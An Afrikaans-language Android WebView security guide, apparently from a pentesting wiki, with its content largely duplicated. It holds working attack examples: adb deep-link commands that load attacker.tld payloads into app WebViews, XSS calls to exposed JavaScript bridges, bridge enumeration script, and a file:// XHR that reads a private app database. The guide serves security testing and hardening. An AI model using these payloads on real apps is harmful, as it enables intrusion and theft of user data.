Webview Aanvalle

Reading time: 14 minutes

Gids oor WebView Konfigurasies en Sekuriteit

Oorsig van WebView Kw vulnerabilities

'n Kritieke aspek van Android ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's wat met WebView gebruik geassosieer word, te verminder.

Lêer Toegang in WebViews

Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die setAllowFileAccess() metode, beskikbaar sedert Android API vlak 3 (Cupcake 1.5). Toepassings met die android.permission.READ_EXTERNAL_STORAGE toestemming kan lêers van eksterne stoor gebruik maak met 'n lêer URL skema (file://path/to/file).

Verouderde Kenmerke: Universele en Lêer Toegang Vanaf URL's

• Universele Toegang Vanaf Lêer URL's: Hierdie verouderde kenmerk het kruis-oorsprong versoeke vanaf lêer URL's toegelaat, wat 'n beduidende sekuriteitsrisiko inhou weens potensiële XSS-aanvalle. Die standaardinstelling is gedeaktiveer (false) vir toepassings wat op Android Jelly Bean en nuwer teiken.
• Om hierdie instelling te kontroleer, gebruik getAllowUniversalAccessFromFileURLs().
• Om hierdie instelling te wysig, gebruik setAllowUniversalAccessFromFileURLs(boolean).
• Lêer Toegang Vanaf Lêer URL's: Hierdie kenmerk, ook verouderd, het toegang tot inhoud vanaf ander lêer skema URL's beheer. Soos universele toegang, is die standaard gedeaktiveer vir verbeterde sekuriteit.
• Gebruik getAllowFileAccessFromFileURLs() om te kontroleer en setAllowFileAccessFromFileURLs(boolean) om in te stel.

Veilige Lêer Laai

Om lêerstelsels toegang te deaktiveer terwyl bates en hulpbronne steeds toeganklik is, word die setAllowFileAccess() metode gebruik. Met Android R en hoër is die standaardinstelling false.

• Kontroleer met getAllowFileAccess().
• Aktiveer of deaktiveer met setAllowFileAccess(boolean).

WebViewAssetLoader

Die WebViewAssetLoader klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s) URL's om toegang tot plaaslike bates en hulpbronne te verkry, wat ooreenstem met die Same-Origin beleid, en fasiliteer dus CORS bestuur.

loadUrl

Dit is 'n algemene funksie wat gebruik word om arbitrêre URL's in 'n webview te laai:

webview.loadUrl("<url here>")

Ofc, 'n potensiële aanvaller moet nooit in staat wees om die URL te beheer wat 'n toepassing gaan laai nie.

JavaScript en Intent Skema Hantering

• JavaScript: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via setJavaScriptEnabled(). Versigtigheid word aanbeveel, aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwesbaarhede kan inbring.
• Intent Skema: WebViews kan die intent skema hanteer, wat moontlik tot ontploffings kan lei as dit nie versigtig bestuur word nie. 'n Voorbeeld kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat benut kon word om cross-site scripting (XSS) aanvalle uit te voer.

Eksploitasiem voorbeeld met adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

'n Kenmerk word deur Android verskaf wat JavaScript in 'n WebView in staat stel om natuurlike Android-app funksies aan te roep. Dit word bereik deur die addJavascriptInterface metode te gebruik, wat JavaScript met natuurlike Android funksies integreer, genoem 'n WebView JavaScript bridge. Versigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript Interface objek, wat 'n sekuriteitsrisiko inhou as sensitiewe inligting deur hierdie interfaces blootgestel word.

• Uiterste versigtigheid is nodig vir toepassings wat op Android weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afstandkode-uitvoering deur kwaadwillige JavaScript toelaat, wat refleksie benut.

Implementing a JavaScript Bridge

• JavaScript interfaces kan met natuurlike kode kommunikeer, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView te voeg:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• Potensiële uitbuiting deur JavaScript, byvoorbeeld, via 'n XSS-aanval, stel die oproep van blootgestelde Java-metodes in staat:

<script>
alert(javascriptBridge.getSecret())
</script>

• Om risiko's te verminder, beperk die gebruik van die JavaScript-brug tot kode wat saam met die APK gestuur is en voorkom die laai van JavaScript vanaf afstandbronne. Vir ouer toestelle, stel die minimum API-vlak op 17.

Refleksie-gebaseerde Afstandkode-uitvoering (RCE)

• 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur 'n spesifieke payload uit te voer. Die @JavascriptInterface annotasie voorkom egter ongeoorloofde metode-toegang, wat die aanvaloppervlak beperk.

Afstanddebugging

• Afstanddebugging is moontlik met Chrome Developer Tools, wat interaksie en arbitrêre JavaScript-uitvoering binne die WebView-inhoud moontlik maak.

Aktivering van Afstanddebugging

• Afstanddebugging kan geaktiveer word vir alle WebViews binne 'n toepassing deur:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Om foutopsporing voorwaardelik in te skakel op grond van die toepassing se foutopsporingstoestand:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltreer arbitrêre lêers

• Demonstreer die eksfiltrasie van arbitrêre lêers met behulp van 'n XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Aanvalle

Gids oor WebView Konfigurasies en Sekuriteit

Oorsig van WebView Kw vulnerabilities

'n Kritieke aspek van Android ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's wat met WebView gebruik geassosieer word, te verminder.

Lêer Toegang in WebViews

Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die setAllowFileAccess() metode, beskikbaar sedert Android API vlak 3 (Cupcake 1.5). Toepassings met die android.permission.READ_EXTERNAL_STORAGE toestemming kan lêers van eksterne stoor gebruik maak met 'n lêer-URL skema (file://path/to/file).

Verouderde Kenmerke: Universele en Lêer Toegang Vanaf URL's

• Universele Toegang Vanaf Lêer URL's: Hierdie verouderde kenmerk het kruis-oorsprong versoeke vanaf lêer URL's toegelaat, wat 'n beduidende sekuriteitsrisiko inhou weens potensiële XSS-aanvalle. Die standaardinstelling is gedeaktiveer (false) vir toepassings wat op Android Jelly Bean en nuwer teiken.
• Om hierdie instelling te kontroleer, gebruik getAllowUniversalAccessFromFileURLs().
• Om hierdie instelling te wysig, gebruik setAllowUniversalAccessFromFileURLs(boolean).
• Lêer Toegang Vanaf Lêer URL's: Hierdie kenmerk, ook verouderd, het toegang tot inhoud vanaf ander lêer skema URL's beheer. Soos universele toegang, is die standaard gedeaktiveer vir verbeterde sekuriteit.
• Gebruik getAllowFileAccessFromFileURLs() om te kontroleer en setAllowFileAccessFromFileURLs(boolean) om in te stel.

Veilige Lêer Laai

Om lêerstelsels toegang te deaktiveer terwyl bates en hulpbronne steeds toeganklik is, word die setAllowFileAccess() metode gebruik. Met Android R en hoër is die standaardinstelling false.

• Kontroleer met getAllowFileAccess().
• Aktiveer of deaktiveer met setAllowFileAccess(boolean).

WebViewAssetLoader

Die WebViewAssetLoader klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s) URL's om toegang tot plaaslike bates en hulpbronne te verkry, wat ooreenstem met die Same-Origin beleid, en fasiliteer dus CORS bestuur.

loadUrl

Dit is 'n algemene funksie wat gebruik word om arbitrêre URL's in 'n webview te laai:

webview.loadUrl("<url here>")

Natuurlik, 'n potensiële aanvaller moet nooit in staat wees om die URL te beheer wat 'n toepassing gaan laai nie.

Diep-skakeling in interne WebView (aangepaste skema → WebView sink)

Baie toepassings registreer aangepaste skemas/paaie wat 'n gebruiker-geleverde URL na 'n in-toepassing WebView lei. As die diep skakel uitgevoer word (VIEW + BROWSABLE), kan 'n aanvaller die toepassing dwing om arbitrêre eksterne inhoud binne sy WebView-konteks te vertoon.

Tipiese manifestpatroon (vereenvoudig):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Algemene kodevloei (vereenvoudig):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Aanvalspatroon en PoC via adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: die afstandlike bladsy loop in die app WebView konteks (koekies/sessie van die app WebView profiel, toegang tot enige blootgestelde @JavascriptInterface, potensiële toegang tot content:// en file:// afhangende van instellings).

Hunting tips:

• Grep decompiled bronne vir getQueryParameter("url"), loadUrl(, WebView sinks, en deep-link handlers (onCreate/onNewIntent).
• Hersien die manifest vir VIEW+BROWSABLE filters en pasgemaakte skemas/gashere wat aan aktiwiteite koppel wat later 'n WebView begin.
• Kontroleer of daar verskeie deep-link paaie is (bv. 'n “buitelandse blaaiert” pad teenoor 'n “interne webview” pad) en verkies die een wat binne die app weergegee word.

Enabling JavaScript before verification (order-of-checks bug)

'n Gereelde verhardingsfout is om JavaScript in te skakel of ontspanne WebView instellings te konfigureer voordat die finale toelaatlys/verifikasie van die teiken-URL voltooi is. As die verifikasie onbestendig is oor helpers of te laat gebeur, kan 'n aanvaller deep link 'n toestand bereik waar:

1. WebView instellings van toepassing is (bv. setJavaScriptEnabled(true)), en
2. Die onbetroubare URL word gelaai met JavaScript geaktiveer.

Bug pattern (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Waarom dit exploiteerbaar is

• Inkonsekwente normalisering: helpers verdeel/bou die URL anders as die finale kontrole, wat 'n wanverhouding skep wat 'n kwaadwillige URL kan benut.
• Verkeerd geordende pyplyn: die aktivering van JS in stap 2 geld globaal vir die WebView-instantie, wat die finale laai beïnvloed selfs al sou verifikasie later misluk.

Hoe om te toets

• Skep diep-skakel payloads wat vroeë kontroles slaag en die WebView-konfigurasie-webwerf bereik.
• Gebruik adb om implisiete VIEW intents te aktiveer wat 'n url= parameter bevat wat deur jou beheer word:

adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

As die uitbuiting slaag, voer jou payload JavaScript in die app se WebView uit. Van daar af, ondersoek blootgestelde brûe:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defensiewe leiding

• Kanoniseer een keer; valideer streng teen 'n enkele bron van waarheid (skema/gasheer/pad/aanvraag).
• Roep slegs setJavaScriptEnabled(true) aan nadat alle toelaatlys kontroles geslaag het en net voor die laai van vertroude inhoud.
• Vermy om @JavascriptInterface aan onbetroubare oorspronge bloot te stel; verkies per-oorsprong toegang.
• Oorweeg per-WebView instansies vir vertroude teenoor onbetroubare inhoud, met JS standaard gedeaktiveer.

JavaScript en Intent Skema Hantering

• JavaScript: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via setJavaScriptEnabled(). Versigtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwesbaarhede kan inbring.
• Intent Skema: WebViews kan die intent skema hanteer, wat moontlik tot ontploffings kan lei as dit nie versigtig bestuur word nie. 'n Voorbeeld kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat benut kon word om kruis-web scripting (XSS) aanvalle uit te voer.

Eksploitasi voorbeel met behulp van adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Brug

'n Kenmerk word deur Android verskaf wat JavaScript in 'n WebView in staat stel om natuurlike Android-app funksies aan te roep. Dit word bereik deur die addJavascriptInterface metode te gebruik, wat JavaScript met natuurlike Android funksies integreer, genoem 'n WebView JavaScript brug. Versigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript Interface objek, wat 'n sekuriteitsrisiko inhou as sensitiewe inligting deur hierdie interfaces blootgestel word.

• Uiterste versigtigheid is nodig vir toepassings wat op Android weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afstandkode-uitvoering deur kwaadwillige JavaScript toelaat, wat refleksie benut.

Implementering van 'n JavaScript Brug

• JavaScript interfaces kan met natuurlike kode kommunikeer, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge word geaktiveer deur 'n koppelvlak by die WebView te voeg:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld, via 'n XSS-aanval, stel die oproep van blootgestelde Java-metodes in staat:

<script>
alert(javascriptBridge.getSecret())
</script>

• Om risiko's te verminder, beperk die gebruik van die JavaScript-brug tot kode wat saam met die APK gestuur is en voorkom die laai van JavaScript vanaf afstandbronne. Stel vir ouer toestelle die minimum API-vlak op 17.

Refleksie-gebaseerde Afstandkode-uitvoering (RCE)

• 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur 'n spesifieke payload uit te voer. Die @JavascriptInterface annotasie voorkom egter ongeoorloofde metode-toegang, wat die aanvaloppervlak beperk.

Afstandfoutopsporing

• Afstandfoutopsporing is moontlik met Chrome Developer Tools, wat interaksie en arbitrêre JavaScript-uitvoering binne die WebView-inhoud moontlik maak.

Aktivering van Afstandfoutopsporing

• Afstandfoutopsporing kan geaktiveer word vir alle WebViews binne 'n toepassing deur:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Om foutopsporing voorwaardelik in te skakel op grond van die toepassing se foutopsporingstoestand:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltreer arbitrêre lêers

• Demonstreer die eksfiltrasie van arbitrêre lêers met behulp van 'n XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Verwysings

• Hersiening van Android WebViews lêertoegang aanvalsvectors
• WheresMyBrowser.Android (demonstrasie app)
• Android WebView verwysing
• Diep Skakels & WebViews Exploitations – Deel II
• Diep Skakels & WebViews Exploitations – Deel I
• Samsung S24 Exploit Ketting Pwn2Own 2024 Stappenplan
• Pwn2Own Ierland 2024 – Samsung S24 aanvalsketting (witboek)
• Demonstrasievideo